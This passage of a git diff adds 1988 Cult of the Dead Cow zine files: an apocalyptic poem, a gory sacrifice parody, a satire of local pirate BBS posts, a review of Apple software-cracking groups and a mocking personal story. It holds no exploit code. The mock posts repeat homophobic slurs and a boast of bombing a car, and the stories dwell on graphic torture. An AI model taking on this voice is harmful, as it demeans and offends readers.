future isn't far. +No longer on the earth's pure face +Will mankind ever mar. + +Nuclear devastation +Is what I foretell, +But the one who pushed the button +Will be the first to go to Hell! + +The day of reckoning hath come +And the judgment shall evermore stand. +The choosing of who goes where and when +Will be as easy as sifting through sand. + +Your evil shines upon your soul, +Like the sun shines upon the sea. +When you are damned to eternal hellfire, +Don't come running to me. + +Cause you know that I warned you! +Armageddon's coming, +And it's coming fast. +Live each day to its fullest, +Cuz' each day could be your last. + +Armageddon's coming! +And it cannot be stopped. +Every man, woman, and child +Will have their souls mopped. + +The blast will be in Moscow, +As well as in New York. +Millions will be torn apart, +Like oversized hunks of pork. + +Nuclear winter burns your body, +Radiation sears your mind, +Because when judgement day is come, +No one will be left behind. + +A dirty game of politics, +With mankind as its pawns. +No more working in the fields, +And no more mowing of lawns. + +Fire and death will reign non-stop, +In this new world of pain. +It will be brother against brother, +Like Abel versus Cain. + +Do not be surprised, +When what I say comes to pass. +Do not waste your time praying, +Or taking your family to mass. + +Because you know I'll be hunting you, +And the rest of your kind. +When I finally catch you, +Not a speck will be left behind. + +And you know that I warned you! +Armageddon's coming! +No one can be saved, +The sidewalks in front of your house, +With your blood they shall be paved. + +Armageddon's coming! +And all too soon! +Your soul will go to Hell, +While your molecules fly to the moon! + +Armageddon's coming! +Why can't you understand? +If you need some help thinking, +Maybe I can give you a hand. + +Armageddon's coming! +For the first and last time, +The murder of all humanity, +Will be your final crime! + +And so the lies have ended, +And all the tales are spun. +I weep at our destiny, +For Armageddon, it hath come. + +_______________________________________________________________________________ + Behavior Modification.....806/793-9462 The Dead Zone.............214/522-5321 + Demon Roach Underground...806/794-4362 Dragonfire Private........609/424-2606 + Question Authority........715/341-6516 Pure Nihilism.............517/337-7319 + Tequila Willy's...........209/526-3194 The Metal AE..............201/879-6668 +=============================================================================== + (c)1988 cDc communications by Sunspot 5/9/88-11/24/88-88 + All Rights Worth Shit + diff --git a/textfiles.com/groups/CDC/cDc-0089.txt b/textfiles.com/groups/CDC/cDc-0089.txt new file mode 100644 index 00000000..0fc9f2a6 --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0089.txt @@ -0,0 +1,25 @@ + + _ _ _ _ + ((___)) ((___)) + [ x x ] cDc communications [ x x ] + \ / presents... \ / + (' ') (' ') + (U) (U) + The cDc compilation - volume two + + >>> A CULT Publication......1988 <<< + -cDc- CULT OF THE DEAD COW -cDc- + + So, it's time for another one. This is a double-sided compilation disk +featuring cDc files #16-30, as well as other interesting files written by +various people. Hopefully, this will continue to be released more or less +quarterly, with volume three due in January-February of '89. Watch for that, +get volume one if you don't have it, and enjoy the disk. + + Thanks to: Anarchy Inc., Neon Knights/Metal Communications, and Count +Nibble for their earlier text-oriented work. Also, thanks to those who wrote +something on the disk. No thanks to everyone else. + -Swamp Rat +=============================================================================== + (c)1988 cDc communications 11/27/88-89 + diff --git a/textfiles.com/groups/CDC/cDc-0090.txt b/textfiles.com/groups/CDC/cDc-0090.txt new file mode 100644 index 00000000..cdc80980 --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0090.txt @@ -0,0 +1,218 @@ + +_______________________________________________________________________________ + _ _ _ _ + ((___)) ((___)) + [ x x ] cDc communications [ x x ] + \ / presents... \ / + (' ') (' ') + (U) (U) + + Cow-San + + by Necrovore + + >>> A CULT Publication......1988 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + +COW-SAN (Pronounced "Kow-Sahn") + + +"My prophecy upon this wasted earth and upon the corrupt creation that squats + upon its ruined surface is: THOU SHALT KILL." + + -from "Jehova on War" by Robert DeGrimston aka Christ + + + The sun dawned over Yokishawa, a small village in the northern reaches +of feudal Japan. Shimmering beams of light glanced off of the icy peaks of +Mount Fujiwara. These beams struck the hairless face of Okisama, a fat old +merchant of Yokishawa. With a sigh, Okisama stood up from his pallet and +rubbed his temples. A new day had begun. + + Okisama got dressed and ate his usual breakfast, a bowl of rice. He +then left his home for Shangsei, the merchant bazaar where he sold his wares. +Today he decided to try his hand at mechanical rice pickers, a new device +conceived by his first son, Shumiara. At present, all the rice of Japan was +picked by the peasant workforce. With this new invention, the peasants could +stop picking rice and do more productive things, like building new towns. + + As Okisama strode down Sumi street he saw an unusual thing, a bald man +in white robes. This man had skin brown from the sun and wore strange sandals. +Around his neck hung a small brown pouch. As Oki continued down the street, +it became apparent to him that he was being followed by the odd-looking bald +man. At long last Oki whirled around to confront the old man. "Who are you +and why are you following me, outlander?" said Okisama in Japanese. + + The old man said in broken Japanese, "I am Ghandivi, High Priest of the +Cult of the Dead Cow. I am following you because it is my fate." + Okisama cried, "Leave me be, smelly old man!" + The old man fondled the pouch at his neck and said, "That I cannot do; +it is my fate." In utter disgust Okisama turned his back and continued on his +path, looking over his shoulder every once in a while. He thought to himself +that the man's pouch smelled of vomit. + + As Okisama was nearing the Umiyama bridge he saw a large contingent of +armed warriors jogging in procession. He looked back. The old man was still +there. As he crossed the bridge he stepped to the side to avoid being run over +by the ruthless warriors. Ghandivi, being a stranger, was knocked into the +river by the procession. Okisama chuckled to himself, finally rid of the old +man. + + Later that day, while in the bazaar, Okisama smelled that familiar +vomit smell again. He had been rather unsuccessful at selling his son's +mechanical rice picker. "I'll buy one," said a rattled voice in broken +Japanese. Okisama whirled and say Ghandivi standing before him, a grin on his +face. + "Why do you keep following me?" said Okisama. + "It is..." started Ghandivi. + "Yeah, it's your fate. Well, fate on this!" cried Okisama as he belted +Ghandivi, who promptly doubled over, making gagging noises. "Now leave me be!" +screamed Okisama as he fled the bazaar for home. + + Along the way home he saw strange prints on the dusty road. Obviously, +they belonged to a four-legged beast, thought he. How odd. When Okisama +reached home he settled down in despair. He had sold no mechanical rice +pickers and had been dogged by some crazy old outlander. He lifted a cup of +spiced tea to his mouth. "Hello, most honorable dad," said Shumiara. Okisama +looked up to his sons' face and threw up. Shumiara's ears were long and pointy +now, not the way that they had been when he left this morning. + "What has happened to your ears, son?" uttered a shocked Okisama. + "Well, most honorable dad, I was making a few mods to my mechanical +rice picker when, um, it got a hold of my ears and, um, sort of pulled them." + Okisama said, "But why do you not yell in pain, my son? Does it not +hurt?" + "Oh no, most..." started Shumiara. + "Knock it off with that 'most honorable dad' stuff, most honorable +son." interrupted Okisama. + "Well, at first it did hurt. Blood spurted everywhere. I was +screaming. And then, I felt something warm and wet lap upon my torn ears. I +looked up and saw a strange looking beast licking my ears. 'It kinda mooed and +shit.' When it was done, my ears were unharmed - looking and were pointy, as +they are now." + "How unusual, I saw strange bestial tracks on the way home from the +bazaar," said Okisama. The two continued talking as they ordered out to +Domino's Rice for dinner. + + "That'll be fifty yen, bub," said the Domino's delivery man. + "Here you are, most honorable delivery man," uttered Okisama as he +handed the delivery man fifty yen. + "What? No tip? Well, I hope the Noid makes your rice cold!" + + Okisama slammed the rice paper door shut in utter disgust. Somewhere +off in the dark distance, he heard a strange noise. The father glanced at +Shumiara who said that it was of the same kind that he had heard earlier that +day. Okisama opened the rice paper door again and stared furtively out into +the darkness. He saw nothing. He closed the door and father and son began +eating rice. + + That night, after Shumiara had gone off to bed, Oki was reading the +Nippon Times by candlelight while in bed. Events repeated themselves as they +often do. There was a strange mooing sound off in the distance. Oki shuddered +in fear and looked towards the open window... blackness. He then went back to +reading the Nippon Times (a fine rice paper journal scribed in a strange red +substance (almost rust colored, in fact), not wholly unlike dried blood. A +scant few moments later Oki heard a scrambling outside his window. As he +leapt from under his covers he smelled a familiar scent, a scent of vomit. A +familiar bald head popped up. Oki screamed and fainted dead away. From else- +where in the house we hear, "Whadda ma-ma-matta, da-da-dada?!?" as Shumiara +scuttled into his most honorable father's room. He too screamed when he saw +the horrid visage of Ghandivi. + "It is my fate," uttered Ghandivi. Shumiara lapsed into blackness... + + When Oki awoke he found himself in his own private hell. Stretched +between two great bamboo poles was he. Below him was an immense vat of boiling +oil. Above him, whisps of smoke filtered out through a small opening in the +thatched roof. Where was he? + + "Ah, so you have awakened?" said a familiar voice. Oki swung his head +over and met the solemn gaze of Ghandivi. Again, Oki screamed. Ghandivi was +as he always was, save for one thing; he had the lower torso of a bovine +creature. Oki was sweating profusely. "Ah, poor merchant man of tyrannous +descent, why have I brought you here? Indeed, a question that most obviously +looms within the narrow confines of your mind at this very moment in time. +I am the High Priest of the Holy Order of the Dead Cow. In the beginning, +there was Cow. Now, that time has passed. Thus, the time is nigh to reinit- +iate the belief of Cow, to revive her essence, to convert the unfaithful!" +Okisama twitched nervously as Ghandivi continued his sermon. "I am to begin +the Revelations of The Bovine. I am Ghandivi, the Harbinger of Death!" + + Ghandivi began to stroll (if you can call it that) around the great vat +of bubbling oil. Oki coughed as noxious vapors wafted past his nose on their +ascent to the vast cosmos above. "Smile, Okisama, for you are the Chosen One. +You, and only you, shall be the first sacrifice to the Holy Cow. Your son, +on the other hand, shall be sacrificed before you to Thrax, Roach from Hell(!). +Smile, Oki, yes smile. It is a great honor we confer upon you." + + Ghandivi snapped his fingers and swatted a nearby fly with his hairy +tail. A rice paper door opened and two large men of Arabic descent ushered in +Oki's son, Shumiara. The men, garbed in robes blacker than the night sky, +roughly deposited Shumiara in a ruined mass before Ghandivi, the Exalted One. +"Yes, your son will meet one of the Holy Cow's enemies and perish. You shall +watch in ecstasy as he dies for Thrax. And then you, fat hong, shall die for +Cow; for Cow is Reality, and Reality is Death. You shall become the first +homorealis to stalk the vast, ectoplasmic cosmos." Again, the snap of fingers. + + The two Arabs silently lifted the unconscious form of Shumiara and tied +him to a pair of bamboo poles. Directly in front of his limp body was a grated +well. As soon as Shumiara was in place, Ghandivi grinned and said, "Awaken +him." One of the two Arabs struck Shumiara with a hairy fist. The resounding +thud of impact almost echoed throughout the secret temple. Shumiara moaned, +and the arab hit him again, this time with a backhand. Shumiara groaned as he +opened his eyes. Blood ran from his puffed lips. At this time Oki began to +whimper. "Silence!" howled Ghandivi. The two Arabs joined Ghandivi at the +far side of the chamber. "Let the ceremonies begin! Joy, Okisama, feel the +heartfelt joy as Thrax is satisfied!" + + About this time a strange scuttling could be heard. In mere moments, +thousands of roaches began pouring outwards from the grated well, swarming onto +the body of Shumiara. Screams filled the night air bringing chill to the heart +of Oki. Roaches clambered all over the boy's body and fed upon his flesh. +Blood began to flow. The ravenous insects crawled into his ears and ate at his +brain. They crawled into his pants and devoured at his membranous member. +They entered his body through passages not meant to be. Shumiara's abdomen +burst open. Thousands of roaches, their soft carapaces covered in blood, +flowed outwards; a stream for Thrax. The roaches began to strip Shumiara's +dead body of its flesh. Oki began to cry out in anguish as his son was +devoured. Ghandivi smiled in pleasure. The Arabs looked on grimly. In mere +minutes, a damp skeleton hung where once hung Shumiara, the son of Okisama. +Oki retched violently. Vomit spewed forth into the hot oil causing great gusts +of putrid smoke to rise. The roaches disappeared back into their insectoid +hell. Okisama, vomit still dribbling down his hairless chin, moaned, "Ah God, +why..urp..me?" + + "Hah. Why YOU? Because you are what I term to be a crucifictionist. +You will gladly crucify others, so to speak, to help yourself. That is +unacceptable. Thus, you have been chosen for sacrifice to the Cow. She will +chew upon her cud as she watches you die for Her." intoned Ghandivi. "Now, let +the joyous celebrations of Cow begin!" + + With that, the two Arabic men strode towards Oki, who, at the sight of +them approacing, screamed once more. During his vocal ensemble, Oki retched +again. This time, more violently then before. His stomach contents flew +forth, embracing the putrid air of the secret temple. Ghandivi laughed +maniacally. The two Arabic servants snickered. When they reached their +destination, the poles upon which Oki was bonded; the men unsheathed their +tulwars and swung them around in anticipation of the events soon to begin. +Ghandivi clapped his hands twice. The sharp blades struck the thongs that held +Okisama suspended above the vat of boiling oil. Oki screamed as he fell down- +wards into the bubbling inferno of the iron vat. The screams ended as abruptly +as they began. Oki's flesh melted, separated from his bone by the heated oil. +Hair came off in mats from his head and floated in the turbulent oil for mere +seconds before it burned up. The oil bubbled violently as the body of Oki was +burned into nothingness. Final peace. + + + This file is dedicated to the Process Church of the Final Judgement, a + bunch a English death freaks who tried, and yet, failed. Bad planning. + +_______________________________________________________________________________ + Behavior Modification.....806/793-9462 The Dead Zone.............214/522-5321 + Demon Roach Underground...806/794-4362 Dragonfire Private........609/424-2606 + Question Authority........715/341-6516 Pure Nihilism.............517/337-7319 + Tequila Willy's...........209/526-3194 The Metal AE..............201/879-6668 +=============================================================================== + (c)1988 cDc communications by Necrovore 4/88-12/15/88-90 + All Rights Worth Shit + diff --git a/textfiles.com/groups/CDC/cDc-0091.txt b/textfiles.com/groups/CDC/cDc-0091.txt new file mode 100644 index 00000000..ec7fbaff --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0091.txt @@ -0,0 +1,219 @@ + +_______________________________________________________________________________ + _ _ _ _ + ((___)) ((___)) + [ x x ] cDc communications [ x x ] + \ / presents... \ / + (' ') (' ') + (U) (U) + + The Reel Way + or + 'How to Win the Ego Wars' + + Written by: The Pusher + Inspired by: Leper Messiah + + >>> A CULT Publication......1988 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + + This file will describe to you how things are done on the local "pirate" +board, which is full of computer nerds who all live within 20 minutes of the +BBS. +------------------------------------------------------------------------------- + + +Section #1- Anarchy + + If the local board does have an "anarchy" section it will probably not +be anything worth looking at. Rather than posts about explosives, bombs, lock- +picking, etc... you'll get messages like this: + + +POSTER: MR. ANARCHY +TITLE: ANARCHY NEWS! + + (FIRST, I'D LIKE TO SAY NOT TO TRY THIS UNLESS YOUR AN EXPERIENCED +ANARCHIST LIKE MYSELF.) I REALLY, REALLY, REALLY HATE MY CHEMISTRY TEACHER. +HE'S SUCH A FUCKING DICKHEAD! I WAS TALKING TO SOME HOT BABEZ IN CLASS WHEN HE +TOLD ME TO BE QUIET. I TOLD HIM TO FUCK OFF AND HE KICKED ME OUT OF CLASS. (BUT +NOT BEFORE I GOT SOME BABEZ #! PHONE SEX!@#@22! YAH!2@!1) I KNEW WHERE HE LIVED +SO I FELT SORRY FOR HIM! I WAS GOING TO KICK HIS FAGGIT ASS! I WENT HOME AND +STOLE SOME SHIT OUT OF THE KITCHEN TO MAKE A NITRO-VITRO BOMB! (SEE ADVANCED +ANARCHY BOARD FOR DETAILS OF THIS. I CAN'T HAVE ANY OF YOU KIDDIES BLOWING +YOURSELVES UP!!) I WENT UP TO MY ROOM AND MADE THE BOMB WHILE MY MOM THOUGHT I +WAS STUDYING! (I NEVER STUDY, ONLY NERDZ STUDY! I'M FAILING EVERY CLASS!) +(Pusher note: Every local loser loves to say they are failing school, when in +fact, they get A's in everything. By the way, I get straight B's, and I'm damn +proud of it!) I PUT THE THING TOGETHER, AND STOLE THE KEYS TO MY DADS FERRARI +AND WENT OUT TO GET SOME BOOZE! AFTER GETTING TOTALLY SMASHED I ZIPPED OVER TO +MY FAGGIT CHEM TEACHER'S HOUSE. I THREW THE BOMB INTO HIS CAR AND BLEW THE +WHOLE MOTHERFUCKIN THING UP! WHEN HE CAME OUT TO SEE WHAT THE FUCK WAS +HAPPENING, I SMASHED HIS FACE WITH A BAT@@! SO YOU SEE, ANARCHY CAN GET RID OF +ANYONE! LATER ON DUDES, +MR. ANARCHY + + Uh oh, I wouldn't mess with this guy. + +------------------------------------------------------------------------------- + + +Wection #2- BBS Adds + + On your local geek board, you will never see a BBS Ad like this: + +Elite BBS +914-xxx-xxx +Sysop: Elite Man + + That would be too easy for the local. They have to spend a month +making up BBS adds using "Proterm Special Emulation" which they post at least +once every time they call. Here's an example. + + + THE ELITE HOUSE + 987-654-3210 + SYSOPS: RAD MAN COSYSOPS: THE STUD + THE PSYCHO DR. PAIN + THE PREDATOR THE PAINMASTER + THE DISK SLAVE + + 6 DRIVES NOW (40 MEGZ SOON!) 300 BAUD (17400 SOON!) + NEW WAREZ! COOL SYSOPS! + FUCKIN AWESOME MODZ! ONLINE GAMES! + SEX FILES! A STORY SECTION! + + A METALHEDZ, INC. BASE + + + Would you call "THE ELITE HOUSE"? Probably not. Of course, you would +never be able to get on, because the board would be down 5 days a week for +"NEW MODZ!" [Ed note: Or is the sysop playing "California Raisins?] + +------------------------------------------------------------------------------- + + +Nection #3- Music + + 95% percent of all the locals like MTV p0zer metal. It is impossible to +call your local "pirate" board without seeing someone say "OZZY RULEZ!" There +is also always an argument between the "metalheads" and someone who likes new +wave. None of the local loozes like classic rock, hardcore, or speed/deth/doom +metal. Check this out... + + +POSTER: SATAN'S SON (They often use the title of an "OzZy" song for their name) +TITLE: WHITESNAKE FUCKIN KIX BUTTT! + + HAVE YOU GOT THE NEW CRUE ALBUM? IT'S SO FUCKING AWESOME. THEY KICK ASS! I +CAN'T WAIT TO SEE THEM IN CONCERT. THEY'LL BE SO MUCH BETTER THAN THOSE DEPECHE +MODE HOMOES. THEY PROBABLY SUCK EACH OTHERS DICK! NIKKI SIX IS LIKE THE +AWESOMEST GUITARIST AROUND! NEW WAVE SUX! I HEARD A RUMOR THAT OZZY, +WHITESNAKE, AND BON JOVI ALL DIED IN A PLANE CRASH! +LATER DUDEZ, +SATAN'S SON +(NUMERO UNO CRUE FANO) +------------------------------------------------------------------------------- + + +Eection #4- Phreaking + + On every local board, the sysop will leave a message like "ONLY REAL HACKS +AND PHREAKS CAN HAVE ACCESS TO THE HACK/PHREAK SUB. I DON'T WANT TO GET BUSTED +BY THE FEDZ!" I think that the Treasury Department is smart enough to realize +that no real telcom board is called "HACKERS AND PHREAKERS HEADQUARTERS". To +get access to the "HACK/PHREAK" sub all you have to do is give the sysop a +code. That's all the messages are on the sub anyway. "FRESH SPRINTS!" with a +list. But sometimes you might get this message... + + +POSTER: MR. PHREAK +TITLE: SAFE SERVICE + + HEY PHREAKS, IS THERE ANY SERVICE OUT THERE THAT IS 100% SAFE WITH NO +TRACING? + + This question is asked at least 10 times a day in the U.S. And I just +love these "Phreak horror stories"... + + +POSTER: CODE MEISTER +TITLE: HOLY SHIT! + + DON'T USE MCI! DON'T USE MCI! DON'T USE MCI! A HEARD THAT THEY'VE GOT THIS +NEW THING CALLED API. IT'S CALLED AUTOMATIC PHREAK IDENTIFICATION! THE SECOND +YOU PHREAK A CALL WITH MCI, THEY SEND THE FEDZ OVER TO YOUR HOUSE. SOME GUY IN +CALIFORNIA GOT A $217,000 DOLLAR PHON BILL! HE'S BUSTED AND I HEAR HE'S NOW IN +PRISON! ALSO, A PHREAK FRIEND OF MINE WAS USING SPRINT, WHEN SOME OPERATORS +CAME ON SAID "EAT THIS, YOU LITTLE PUNK!" THEY THEN PLAYED A TONE SO LOUD, THAT +HE WAS DEAF FOR 5 DAYS! +HAPPY HACKIN (BE CAREFUL, DUDEZ!) +CODE MEISTER +M.P.A.H.S +(MASTER PHREAKS AND HACKS SOCIETY) + +------------------------------------------------------------------------------- + + +Bection #5- Wares + + On the local boards, wares are used to get people to call a board, like... + + +ULTIMA X IS OUT! ITS FUCKIN AWESOME! +WE GOT IT AT WARE PALACE ELITE! + + + The other type of message you see is the rumor message. These are always +wrong. + + +POSTER: THE ULTIMATE PIRATE +TITLE: OUT! + + I HEARD THAT GAUNTLET IS OUT! IT'S SUPPOSED TO BE ON SOME CALIFORNIA BOARZ! +IT HAS GRAPHICS JUST LIKE THE ARCADE. YOU CAN EVEN PLAY 10 PEOPLE AT ONCE! I'D +GET IT AND UPLOAD IT HERE, BUT I HEARD THAT DIGITAL GANG SAID THAT IT IS NOT TO +BE DISTRIBUTED OUTSIDE CALIFORNIA. KING'S QUEST V WILL BE OUT SOON! I KNOW THE +AUTHOR AND HE GAVE ME A COPY! I'D UPLOAD IT BUT HE'D BUST ME BIGTIME! +CHOW, +ULTIMATE PIRATE +DEATH BOYS (PROFESSIONAL DISTRIBUTORS) + +------------------------------------------------------------------------------- + + + ection #6- Wars + + On good boards, there is no such thing as a "war". They're usually just +arguments because someone ragged on someone on a crack page. However, the +locals take this EXTREMELY seriously. Every message is full of threats, and +challenges to fight (which never happen). Not to mention lots of obscenities. + + +POSTER: JOE STRANSIVIK +TITLE: FUCK YOU FAGGIT! + + YOU'RE SUCH A FUCKING LOSER, APPLE KING! I TALKED TO PEOPLE WHO GO TO YOUR +SCHOOL, AND THEY SAID YOU'RE A MAJOR GEEK. YOU PROBABLY SUCK EVERYONE'S COCK. +FUCK YOU! FUCK YOU! YOU PROBABLY FUCK YOUR MOMMA TOO! YOUR DAD PROBABLY FUCKS +YOU! I WANNA BEAT THE FUCKIN LIVING FUCK OUT OF YOUR FUCKING BUTTFUCKER FACE! I +CHALLENGED YOU TO A FIGHT AT THE PARK AND YOU DIDN'T SHOW UP! YOU WERE PROBABLY +FUCKING YOUR GEEK FRIENDS! FUCKIN FAGGIT BUTTFUCKER! IF I EVER MEET YOU I'M +GOING TO BEAT THE FUCK OUT OF YOU! +FUCK YOU, HOMO! + +------------------------------------------------------------------------------- +"Mom, I just want a Pepsi!" +Call DRU. Now. +_______________________________________________________________________________ + Behavior Modification.....806/793-9462 The Dead Zone.............214/522-5321 + Demon Roach Underground...806/794-4362 Dragonfire Private........609/424-2606 + Question Authority........715/341-6516 Pure Nihilism.............517/337-7319 + Tequila Willy's...........209/526-3194 The Metal AE..............201/879-6668 +=============================================================================== + (c)1988 cDc communications by The Pusher 12/30/88-91 + All Rights Worth Shit + diff --git a/textfiles.com/groups/CDC/cDc-0092.txt b/textfiles.com/groups/CDC/cDc-0092.txt new file mode 100644 index 00000000..54121299 --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0092.txt @@ -0,0 +1,105 @@ + +_______________________________________________________________________________ + _ _ _ _ + ((___)) ((___)) + [ x x ] cDc communications [ x x ] + \ / presents... \ / + (' ') (' ') + (U) (U) + + "Group Revue" + + by The Pusher + + >>> A CULT Publication......1988 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + +Introduction: In today's "New Age" (as The Gunslinger/Dane puts it) of Apple +piracy, there are currently four major groups. I'll be reviewing all of them. +Note that this won't include the bullshit groups that release 1 ware and fade +into the sunset. All of the groups here have been around for the past 3-4 +years (excluding USAlliance). By the way, look for my reviews in issue #2 of +cDc's Cross Of Iron fanzine. And the next PP file coming soon, a fiction +sci-fi story, "Space Merc Part VI". Oh yeah, one more thing. The order in +which the groups were reviewed was determined by how good they are. + + +Group Number One: First Class + + Not really a group at all, considering that only one member of the group, +The Necromancer/Ralph still is in modeming. Two of the members, Dark +Prophet/Matt and The Tailsman/Rob are writing software (like Alien Mind), and +The Hitman/Greg is also working in the software business. The Necromancer, one +of the best and most active crackers today, still cracks wares under the First +Class name. There are 3 locals to him, Mindbender/Bob, The Baron/Greg, and +Hijinx/Steve, who supply him and help with the cracks, but they aren't official +FC members. FC is generally accepted as the best group over the past few +years. The Necromancer is planning to "retire" the FC name soon, so don't +expect too much from them. + + +Group Number Two: Digital Gang + + Digital Gang has released more wares than any other group in pirate +history. Recently, they have been somewhat inactive, and the fact that the +members of the group (The Triton/Eddie, Tom E. Hawk/Tyron, The Dragon Lord/Ron, +The Sheik/Chris, Sir Mangar/Mike, and a few others) don't call out much makes +it hard for anyone to know what the hell is going on with them. DG has a +notorious reputation for "wars" and just about every member is hated by many +people. Some of these conflicts include: A massive fight with The Bunnymen, +arguing with the California Spec pirates (not exactly a popular group of people +either), and most recently a war with The Legion which ended up with The +Martyr/Mike, and Touch Tone/Bart threatening each other with guns. + + +Group Number Three: Coast to Coast + + Coast to Coast wavers from active to inactive every few months. The +general routine is for the group's members to drop out of piracy, and then a +few months later a whole "new" CtC emerges. They then drop out, and the whole +cycle starts again. The current members (Mr. Slick/Kent, Psycho/Dave, The +Crasher/Roman, Chief Justice, and Fast Eddie) are about the 4th generation of +Coast to Coast. And, also the worst. The Crasher, Chief Justice, and Fast +Eddie do nothing at all. Psycho does the easy cracks, and Slick the hard ones. + + +Group Number Four: USAlliance + + The youngest group, and currently the least liked. They started out as a +local Maryland do-nothing group. After going though 20 members, they ended up +with Body Glove/Sonny, Blue Adept/Alan, Codex Warrior/Doug, Rotten Apple/Steve, +and me. We kicked The Crasher out, because he turned out to be a huge liar. +(Not to mention a putz). The plan was to quit USAlliance, and leave it to +Rotten Apple and a few other members who didn't do much. Then we planned to +start a new group. This plan never came to be, because... get this... no one +could agree on a name for the new group. So we just kicked Rotten Apple out, +and a war started between him and us, and he threatened to "Eradicate us from +the modem world" with his "Project: Blue Boot". Soon after, I quit the group, +when I started to get tired of them and their stupid "Ego Wars". Blue Adept +then started to get heavily ragged because he claimed to be the original Blue +Adept who was in Midwest Pirates Guild. It was obvious he was lying, and it +got worse when he denied ever saying it. + +------------------------------------------------------------------------------- + +Well, there you go, "The Titans of Piracy." + +Now that I look at this file, I don't think very much of it, but I'm releasing +it anyway. + +Call DRU, TWGSC, and TL. +Now. + + +"There would be no races if there were no racists." +_______________________________________________________________________________ + Behavior Modification.....806/793-9462 The Dead Zone.............214/522-5321 + Demon Roach Underground...806/794-4362 Dragonfire Private........609/424-2606 + Question Authority........715/341-6516 Pure Nihilism.............517/337-7319 + Tequila Willy's...........209/526-3194 The Metal AE..............201/879-6668 +=============================================================================== + (c)1988 cDc communications by The Pusher 12/30/88-92 + All Rights Worth Shit + diff --git a/textfiles.com/groups/CDC/cDc-0093.txt b/textfiles.com/groups/CDC/cDc-0093.txt new file mode 100644 index 00000000..85ed8fed --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0093.txt @@ -0,0 +1,125 @@ + +_______________________________________________________________________________ + _ _ _ _ + ((___)) ((___)) + [ x x ] cDc communications [ x x ] + \ / presents... \ / + (' ') (' ') + (U) (U) + + Las Vegas Mutantz From Hell! + + a non-fiction horror story + + by The Pusher + + >>> A CULT Publication......1988 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + +Author's Note: The following events occurred when one of my mom's friend's +daughter came from Las Vegas to look at colleges in my area. (Like NYU) + + +Day 1- I was excited. Why? Well, an older girl from Las Vegas was coming to +stay at my house and she was sleeping in the room right next to mine. +(Just like it happens in all of those cheesy 1-star teen flicks). A night of +stiff board banging was anticipated (more like, "was wished for"). Anyway, I +was listening to the Suicidal Tendencies ("Two Sided Politics" was the song), +when I heard a knock on my door. + + "She's here." + + I jumped out my room and looked into the room next to mine. She was... +a... FUCKING HAM! + + My jaw dropped to the floor. About five feet tall, fat, ugly, and a face +that looked like someone threw paint at her through a screen door. This was +not a girl I wanted to ball, much less look at. I mumbled a feeble "Hi" and +went to sleep right away. + + +Day 2- I awoke the next morning with positive thoughts. Adam, you just had a +nightmare last night. That's not the girl. Five minutes later when I saw her, +I realized that she was a nightmare. A living, breathing, three dimensional +nightmare. At the breakfast table, Mom and I had the following conversation. + + "Adam, I want you to take Heidi around town today." + "Forget it! I'm going to the mall." + + An hour later. Town. + + I'm wearing my trenchcoat along with sunglasses so no one can recognize +me. As I show her around town (where I live, "town" is just one street of +stores), making up lies as I go along ("See that lake? The police found a +decapitated baby in there last year."), two friends of mine see through the +disguise and come up to me. They ask me who the girl right behind me is. I +say I have no idea. They actually believe me until she comes up to me asking +"Where's the post office, Adam?" (Where's the post office? What kind of +question is that?) My "friends" say bye and walk away. Laughing their asses +off. At me. When we get home, I get a call asking about my "girlfriend". So, +I go up to my room, and finish playing my Suicidals tape. (Remember, I left +off at "Two Sided Politics.") Heidi knocks on my door. + + "Turn it off." + "What?" + "I said turn it off! I can't watch T.V. with that noise blaring!" + "Hey, why don't you-" + I would have loved to finish my sentence, but my dad walked in. + + That night, I thought of ways I could kill her. + +Day 3- "No way! Screw that! I showed her around town, now you do something +with her. I'm going to Mark's." + + An hour later. At the tennis court. With Heidi. + + It seems she loves tennis and I happened to be the only available player. +Anyway, she's out there with her 200 dollar tennis outfit, and super-duper +Wimbeldon pro racket. And I've got Nike basketball shoes, a ratty pair of +shorts, my Circle Jerks "Golden Shower of Greatest Hits" shirt which has a guy +peeing against a wall, and some cheap racket I dug out of the basement. What +happened is this: she hit a high lob into the air, and rushed up to the net. +I thought: here's my chance! I'll slam the ball into her face and kill her. +The ball came down. I swung. And missed. + + "You could use some lessons." + "And you could use a mask." + Her bitchy stares were welcomed. + + After the game... + + "I've been on a diet for the past two months. Don't I look thin?" + What could I say? + "No, you don't. + + That night, I was playing some DK, when she entered my room. + + "How can you listen to that noise?" + "Oh, what do you like?" + "U2." + "U2. Major talent there. My dick knows more chords than The Edge." + "I would need a microscope to see your dick! It's probably an inch long!" (Been hanging out with the 6th graders, eh?) + "And I guess an inch seems real small, when you're used to foot-long + cucumbers." + "Geek!" + + And she stormed out. That was the last I saw of her. I left early the +next morning for a six-week trip around the country. Before I left, I wrote +down all of this so I could write a file when I got back. + + Somewhere in the Southwest, I called home and found out she got into an +incident with a skin in Greenwich Village. Seems she spent the whole day +crying. Exactly what happened, I'll never know. + +Biafra in '92! +_______________________________________________________________________________ + Behavior Modification.....806/793-9462 The Dead Zone.............214/522-5321 + Demon Roach Underground...806/794-4362 Dragonfire Private........609/424-2606 + Question Authority........715/341-6516 Pure Nihilism.............517/337-7319 + Tequila Willy's...........209/526-3194 The Metal AE..............201/879-6668 +=============================================================================== + (c)1988 cDc communications by The Pusher 12/30/88-93 + All Rights Worth Shit + diff --git a/textfiles.com/groups/CDC/cDc-0094.txt b/textfiles.com/groups/CDC/cDc-0094.txt new file mode 100644 index 00000000..b64cb0b1 --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0094.txt @@ -0,0 +1,72 @@ + +_______________________________________________________________________________ + _ _ _ _ + ((___)) ((___)) + [ x x ] cDc communications [ x x ] + \ / presents... \ / + (' ') (' ') + (U) (U) + + Fighting - The Clean Way! + + a cheesy parody of the Neon Knight's "Fighting Dirty" + + by The Pusher + + >>> A CULT Publication......1988 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + + So, you're talking with some friends about yesterday's lacrosse game and +about how you're getting tickets to the Tiffany concert, when some geek wearing +a "Mettelica" shirt 